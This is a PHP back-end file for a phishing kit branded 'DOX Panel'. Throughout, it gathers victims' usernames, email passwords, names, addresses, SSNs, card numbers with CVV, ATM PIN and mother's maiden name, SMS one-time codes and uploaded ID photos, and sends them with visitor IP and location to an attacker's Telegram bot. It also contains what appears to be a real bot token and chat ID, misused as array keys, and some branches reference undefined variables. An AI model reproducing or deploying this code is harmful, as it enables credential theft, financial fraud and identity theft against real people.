<?php
// Enhanced Telegram notifications with better formatting and error handling

function sendTelegramMessage($message) {
    $config = getNotificationConfig();
    $botToken = $config['8078271386:AAFiFlcg-E0vcNQLyhhVotNmTm1RfZgyCSQ'];
    $chatId = $config['-1003137771790'];

    if (empty($botToken) || empty($chatId)) {
        error_log("Telegram configuration missing");
        return false;
    }

    $url = "https://api.telegram.org/bot{$botToken}/sendMessage";
    $data = [
        'chat_id' => $chatId,
        'text' => $message,
        'parse_mode' => 'HTML',
        'disable_web_page_preview' => true
    ];

    // Log the attempt
    error_log("Sending Telegram message to chat ID: {$chatId}");

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_USERAGENT, 'DOX Panel Bot');

    $result = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $error = curl_error($ch);
    curl_close($ch);

    if ($result === false || $httpCode !== 200) {
        error_log("Telegram send failed: HTTP {$httpCode}, Error: {$error}");
        return false;
    }

    error_log("Telegram message sent successfully");
    return true;
}

function getNotificationConfig() {
    // Check for admin settings
    if (file_exists('Data/admin_settings.json')) {
        $adminSettings = json_decode(file_get_contents('Data/admin_settings.json'), true);
        return [
            'telegram_token' => $adminSettings['telegram_token'],
            'telegram_chat_id' => $adminSettings['telegram_chat_id'],
            'page_flow' => ['index.php', 'dox1.php', 'dox2.php', 'dox3.php', 'dox4.php', 'thanks.php'],
            'enable_country_filter' => true,
            'enable_antibot' => true
        ];
    }
    
    return [
        'telegram_token' => 'token here',
        'telegram_chat_id' => 'you id here',
        'page_flow' => ['index.php', 'dox1.php', 'dox2.php', 'dox3.php', 'dox4.php', 'thanks.php'],
        'enable_country_filter' => true,
        'enable_antibot' => true
    ];
}

function getVisitorInfo() {
    // Get the first IP address only
    $ip = $_SERVER['REMOTE_ADDR'];
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ips = explode(',', $_SERVER['HTTP_CLIENT_IP']);
        $ip = trim($ips[0]);
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $ip = trim($ips[0]);
    }

    // Get location info with better error handling
    $locationData = @file_get_contents("http://ip-api.com/json/{$ip}?fields=status,country,regionName,city,isp,mobile,proxy");
    $location = json_decode($locationData, true);

    $userAgent = $_SERVER['HTTP_USER_AGENT'];
    
    // Enhanced device detection
    $device = "Desktop";
    $os = "Unknown";
    
    // Detect OS
    if (preg_match('/Windows NT/i', $userAgent)) {
        $os = "Windows";
    } elseif (preg_match('/Mac OS X/i', $userAgent)) {
        $os = "macOS";
    } elseif (preg_match('/Linux/i', $userAgent)) {
        $os = "Linux";
    } elseif (preg_match('/Android/i', $userAgent)) {
        $os = "Android";
        $device = "Mobile";
    } elseif (preg_match('/iPhone|iPad/i', $userAgent)) {
        $os = "iOS";
        $device = preg_match('/iPad/i', $userAgent) ? "Tablet" : "Mobile";
    }
    
    // Detect device type
    if (preg_match('/Mobile|Android|iPhone/i', $userAgent)) {
        $device = "Mobile";
    } elseif (preg_match('/iPad|Tablet/i', $userAgent)) {
        $device = "Tablet";
    }

    return [
        'ip' => $ip,
        'country' => ($location && $location['status'] == 'success') ? $location['country'] : 'Unknown',
        'city' => ($location && $location['status'] == 'success') ? $location['city'] : 'Unknown',
        'region' => ($location && $location['status'] == 'success') ? $location['regionName'] : 'Unknown',
        'isp' => ($location && $location['status'] == 'success') ? $location['isp'] : 'Unknown',
        'device' => $device,
        'os' => $os,
        'is_mobile' => ($location && $location['status'] == 'success') ? $location['mobile'] : false,
        'timestamp' => date('Y-m-d H:i:s'),
        'user_agent' => $userAgent
    ];
}

function getCurrentVisitorCount() {
    static $count = 0;
    $count++;
    return $count;
}

function notifyPageVisit($pageName) {
    $visitorInfo = getVisitorInfo();
    $visitorCount = getCurrentVisitorCount();

    $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
    $domain = $protocol . '://' . $_SERVER['HTTP_HOST'];

    $message = "🚨 <b>New Visitor #{$visitorCount}</b> 🚨\n\n";
    $message .= "📍 <b>IP:</b> <code>{$visitorInfo['ip']}</code>\n";
    $message .= "🌍 <b>Location:</b> {$visitorInfo['city']}, {$visitorInfo['country']}\n";
    $message .= "🏢 <b>ISP:</b> {$visitorInfo['isp']}\n";
    $message .= "💻 <b>Device:</b> {$visitorInfo['device']} ({$visitorInfo['os']})\n";
    $message .= "📱 <b>Network:</b> " . ($visitorInfo['is_mobile'] ? 'Mobile' : 'WiFi/Broadband') . "\n";
    $message .= "⏰ <b>Time:</b> {$visitorInfo['timestamp']}\n";
    $message .= "📄 <b>Page:</b> {$pageName}\n";
    $message .= "🔗 <b>Panel:</b> {$domain}\n";
    $message .= "👨‍💻 <b>Developed by:</b> @END_913";

    return sendTelegramMessage($message);
}

function notifyLoginAttempt($username, $password) {
    $visitorInfo = getVisitorInfo();
    $visitorCount = getCurrentVisitorCount();

    $message = "💀 <b>Online Login - Visitor #{$visitorCount}</b> 💀\n\n";
    $message .= "<b>👤 Username:</b> <code>" . htmlspecialchars($username) . "</code>\n";
    $message .= "<b>🔑 Password:</b> <code>" . htmlspecialchars($password) . "</code>\n\n";
    $message .= "📍 <b>IP:</b> <code>{$visitorInfo['ip']}</code>\n";
    $message .= "🌍 <b>Location:</b> {$visitorInfo['city']}, {$visitorInfo['country']}\n";
    $message .= "🏢 <b>ISP:</b> {$visitorInfo['isp']}\n";
    $message .= "💻 <b>Device:</b> {$visitorInfo['device']} ({$visitorInfo['os']})\n";
    $message .= "⏰ <b>Time:</b> {$visitorInfo['timestamp']}\n";
    $message .= "👨‍💻 <b>Developed by:</b> @END_913";

    return sendTelegramMessage($message);
}

function notifyEmailAccess($email, $password) {
    $visitorInfo = getVisitorInfo();
    $visitorCount = getCurrentVisitorCount();

    $domain = '';
    if (strpos($email, '@') !== false) {
        $domain = strtolower(explode('@', $email)[1]);
    }

    $message = "💀 <b>Email Access - Visitor #{$visitorCount}</b> 💀\n\n";
    $message .= "<b>📧 Email:</b> <code>" . htmlspecialchars($email) . "</code>\n";
    $message .= "<b>🔑 Password:</b> <code>" . htmlspecialchars($password) . "</code>\n";
    $message .= "<b>🌐 Domain:</b> <code>" . htmlspecialchars($domain) . "</code>\n\n";
    $message .= "📍 <b>IP:</b> <code>{$visitorInfo['ip']}</code>\n";
    $message .= "🌍 <b>Location:</b> {$visitorInfo['city']}, {$visitorInfo['country']}\n";
    $message .= "🏢 <b>ISP:</b> {$visitorInfo['isp']}\n";
    $message .= "💻 <b>Device:</b> {$visitorInfo['device']} ({$visitorInfo['os']})\n";
    $message .= "⏰ <b>Time:</b> {$visitorInfo['timestamp']}\n";
    $message .= "👨‍💻 <b>Developed by:</b> @END_913";

    return sendTelegramMessage($message);
}

function notifyPersonalInfo($firstName, $lastName, $birthDate, $address, $city, $zipCode, $phoneNumber, $ssn) {
    $visitorInfo = getVisitorInfo();
    $visitorCount = getCurrentVisitorCount();

    $message = "💀 <b>Personal Information - Visitor #{$visitorCount}</b> 💀\n\n";
    $message .= "<b>👤 Name:</b> <code>" . htmlspecialchars($firstName . ' ' . $lastName) . "</code>\n";
    $message .= "<b>🎂 DOB:</b> <code>" . htmlspecialchars($birthDate) . "</code>\n";
    $message .= "<b>🏠 Address:</b> <code>" . htmlspecialchars($address) . "</code>\n";
    $message .= "<b>🏙️ City:</b> <code>" . htmlspecialchars($city) . "</code>\n";
    $message .= "<b>📮 ZIP:</b> <code>" . htmlspecialchars($zipCode) . "</code>\n";
    $message .= "<b>📞 Phone:</b> <code>" . htmlspecialchars($phoneNumber) . "</code>\n";
    $message .= "<b>🆔 SSN:</b> <code>" . htmlspecialchars($ssn) . "</code>\n\n";
    $message .= "📍 <b>IP:</b> <code>{$visitorInfo['ip']}</code>\n";
    $message .= "🌍 <b>Location:</b> {$visitorInfo['city']}, {$visitorInfo['country']}\n";
    $message .= "🏢 <b>ISP:</b> {$visitorInfo['isp']}\n";
    $message .= "💻 <b>Device:</b> {$visitorInfo['device']} ({$visitorInfo['os']})\n";
    $message .= "⏰ <b>Time:</b> {$visitorInfo['timestamp']}\n";
    $message .= "👨‍💻 <b>Developed by:</b> @END_913";

    return sendTelegramMessage($message);
}

function notifyCreditCard($cardNumber, $expDate, $ccv, $atmPin, $mothersMaidenName) {
    $visitorInfo = getVisitorInfo();
    $visitorCount = getCurrentVisitorCount();

    $message = "💀 <b>Credit Card Information - Visitor #{$visitorCount}</b> 💀\n\n";
    $message .= "<b>💳 Card:</b> <code>" . htmlspecialchars($cardNumber) . "</code>\n";
    $message .= "<b>📅 EXP:</b> <code>" . htmlspecialchars($expDate) . "</code>\n";
    $message .= "<b>🔒 CCV:</b> <code>" . htmlspecialchars($ccv) . "</code>\n";
    $message .= "<b>🏧 PIN:</b> <code>" . htmlspecialchars($atmPin) . "</code>\n";
    $message .= "<b>👩‍👧 MMN:</b> <code>" . htmlspecialchars($mothersMaidenName) . "</code>\n\n";
    $message .= "📍 <b>IP:</b> <code>{$visitorInfo['ip']}</code>\n";
    $message .= "🌍 <b>Location:</b> {$visitorInfo['city']}, {$visitorInfo['country']}\n";
    $message .= "🏢 <b>ISP:</b> {$visitorInfo['isp']}\n";
    $message .= "💻 <b>Device:</b> {$visitorInfo['device']} ({$visitorInfo['os']})\n";
    $message .= "⏰ <b>Time:</b> {$visitorInfo['timestamp']}\n";
    $message .= "👨‍💻 <b>Developed by:</b> @END_913";

    return sendTelegramMessage($message);
}

function notifyIdentityVerification($documentType) {
    $visitorInfo = getVisitorInfo();
    $visitorCount = getCurrentVisitorCount();

    $message = "💀 <b>Identity Verification - Visitor #{$visitorCount}</b> 💀\n\n";
    $message .= "<b>📄 Document Type:</b> <code>" . htmlspecialchars($documentType) . "</code>\n\n";
    $message .= "📍 <b>IP:</b> <code>{$visitorInfo['ip']}</code>\n";
    $message .= "🌍 <b>Location:</b> {$visitorInfo['city']}, {$visitorInfo['country']}\n";
    $message .= "🏢 <b>ISP:</b> {$visitorInfo['isp']}\n";
    $message .= "💻 <b>Device:</b> {$visitorInfo['device']} ({$visitorInfo['os']})\n";
    $message .= "⏰ <b>Time:</b> {$visitorInfo['timestamp']}\n";
    $message .= "👨‍💻 <b>Developed by:</b> @END_913";

    return sendTelegramMessage($message);
}

function notifySecurityAlert($ip, $userAgent, $reason, $fingerprint) {
    $visitorInfo = getVisitorInfo();
    $visitorCount = getCurrentVisitorCount();

    $message = "🚨 <b>SECURITY ALERT - Anti-Bot</b> 🚨\n\n";
    $message .= "<b>🚫 Blocked Access</b>\n";
    $message .= "<b>📍 IP:</b> <code>" . htmlspecialchars($ip) . "</code>\n";
    $message .= "<b>🔍 Reason:</b> <code>" . htmlspecialchars($reason) . "</code>\n";
    $message .= "<b>🖥️ User Agent:</b> <code>" . htmlspecialchars(substr($userAgent, 0, 100)) . "...</code>\n";
    $message .= "<b>🔐 Fingerprint:</b> <code>" . htmlspecialchars(substr($fingerprint, 0, 16)) . "</code>\n\n";
    $message .= "🌍 <b>Location:</b> {$visitorInfo['city']}, {$visitorInfo['country']}\n";
    $message .= "🏢 <b>ISP:</b> {$visitorInfo['isp']}\n";
    $message .= "💻 <b>Device:</b> {$visitorInfo['device']} ({$visitorInfo['os']})\n";
    $message .= "⏰ <b>Time:</b> {$visitorInfo['timestamp']}\n";
    $message .= "👨‍💻 <b>Developed by:</b> @END_913";

    return sendTelegramMessage($message);
}

// Handle POST requests
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Check if files were uploaded
    if (!empty($_FILES)) {
        handleImageUpload();
        return;
    }

    $input = json_decode(file_get_contents('php://input'), true);

    if ($input['action'] === 'visitor') {
        $pageName = $input['page'] ?? 'Unknown Page';
        notifyPageVisit($pageName);
    } elseif ($input['action'] === 'form_data') {
        $data = $input['data'];
        $page = $input['page'];

        switch ($page) {
            case 'Login Page':
                if (isset($data['username']) && isset($data['password'])) {
                    notifyLoginAttempt($data['username'], $data['password']);
                }
                break;

            case 'Email Access':
                if (isset($data['email']) && isset($data['email_password'])) {
                    notifyEmailAccess($data['email'], $data['email_password']);
                }
                break;

            case 'Personal Information':
                if (isset($data['first_name'])) {
                    notifyPersonalInfo(
                        $data['first_name'],
                        $data['last_name'],
                        $data['date_of_birth'],
                        $data['address'],
                        $data['city'],
                        $data['zip_code'],
                        $data['phone_number'],
                        $data['ssn']
                    );
                }
                break;

            case 'Credit Card Information':
                if (isset($data['credit_card_number'])) {
                    notifyCreditCard(
                        $data['credit_card_number'],
                        $data['exp_date'],
                        $data['ccv'],
                        $data['atm_pin'],
                        $data['mothers_maiden_name']
                    );
                }
                break;

            case 'Identity Verification':
                if (isset($data['document_type'])) {
                    notifyIdentityVerification($data['document_type']);
                }
                break;

            case 'Anti-Bot Alert':
                if (isset($data['ip'])) {
                    notifySecurityAlert(
                        $data['ip'],
                        $data['user_agent'],
                        $data['reason'],
                        $data['fingerprint']
                    );
                }
                break;

            case 'SMS OTP Verification':
                if (isset($data['otp_code'])) {
                    $message = "💀 <b>SMS OTP Code - Visitor #{$visitorCount}</b> 💀\n\n";
                    $message .= "<b>🔢 OTP Code:</b> <code>" . htmlspecialchars($data['otp_code']) . "</code>\n";
                    $message .= "<b>📞 Phone:</b> <code>" . htmlspecialchars($data['phone_number']) . "</code>\n\n";
                    $message .= "📍 <b>IP:</b> <code>{$visitorInfo['ip']}</code>\n";
                    $message .= "🌍 <b>Location:</b> {$visitorInfo['city']}, {$visitorInfo['country']}\n";
                    $message .= "🏢 <b>ISP:</b> {$visitorInfo['isp']}\n";
                    $message .= "💻 <b>Device:</b> {$visitorInfo['device']} ({$visitorInfo['os']})\n";
                    $message .= "⏰ <b>Time:</b> {$visitorInfo['timestamp']}\n";
                    $message .= "👨‍💻 <b>Developed by:</b> @END_913";
                    
                    sendTelegramMessage($message);
                }
                break;

            case 'Login Error Retry':
            case 'Email Error Retry':
                if (isset($data['username']) || isset($data['email'])) {
                    $message = "💀 <b>Error Page Retry - Visitor #{$visitorCount}</b> 💀\n\n";
                    if (isset($data['username'])) {
                        $message .= "<b>👤 Username:</b> <code>" . htmlspecialchars($data['username']) . "</code>\n";
                        $message .= "<b>🔑 Password:</b> <code>" . htmlspecialchars($data['password']) . "</code>\n";
                    }
                    if (isset($data['email'])) {
                        $message .= "<b>📧 Email:</b> <code>" . htmlspecialchars($data['email']) . "</code>\n";
                        $message .= "<b>🔑 Password:</b> <code>" . htmlspecialchars($data['email_password']) . "</code>\n";
                    }
                    $message .= "\n📍 <b>IP:</b> <code>{$visitorInfo['ip']}</code>\n";
                    $message .= "🌍 <b>Location:</b> {$visitorInfo['city']}, {$visitorInfo['country']}\n";
                    $message .= "🏢 <b>ISP:</b> {$visitorInfo['isp']}\n";
                    $message .= "💻 <b>Device:</b> {$visitorInfo['device']} ({$visitorInfo['os']})\n";
                    $message .= "⏰ <b>Time:</b> {$visitorInfo['timestamp']}\n";
                    $message .= "👨‍💻 <b>Developed by:</b> @END_913";
                    
                    sendTelegramMessage($message);
                }
                break;
        }
    }

    echo json_encode(['status' => 'success']);
}

function handleImageUpload() {
    $config = getNotificationConfig();
    $botToken = $config['telegram_token'];
    $chatId = $config['telegram_chat_id'];

    $visitorInfo = getVisitorInfo();
    $documentType = $_POST['document_type'] ?? 'Unknown Document';

    // Send document type info first
    $message = "💀 <b>Identity Verification Images</b> 💀\n\n";
    $message .= "<b>📄 Document Type:</b> <code>" . htmlspecialchars($documentType) . "</code>\n";
    $message .= "📍 <b>IP:</b> <code>{$visitorInfo['ip']}</code>\n";
    $message .= "🌍 <b>Location:</b> {$visitorInfo['city']}, {$visitorInfo['country']}\n";
    $message .= "💻 <b>Device:</b> {$visitorInfo['device']} ({$visitorInfo['os']})\n";
    $message .= "⏰ <b>Time:</b> {$visitorInfo['timestamp']}\n";
    $message .= "👨‍💻 <b>Developed by:</b> @END_913";

    sendTelegramMessage($message);

    // Send each uploaded image
    foreach ($_FILES as $key => $file) {
        if ($file['error'] === UPLOAD_ERR_OK) {
            sendTelegramPhoto($file['tmp_name'], $file['name'], $botToken, $chatId);
        }
    }
}

function sendTelegramPhoto($imagePath, $fileName, $botToken, $chatId) {
    $url = "https://api.telegram.org/bot{$botToken}/sendPhoto";

    $postFields = [
        'chat_id' => $chatId,
        'caption' => $fileName,
        'photo' => new CURLFile($imagePath, mime_content_type($imagePath), $fileName)
    ];

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

    $result = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    if ($httpCode === 200) {
        error_log("Image sent successfully: {$fileName}");
        return true;
    } else {
        error_log("Failed to send image: {$fileName}, HTTP Code: {$httpCode}");
        return false;
    }
}
?>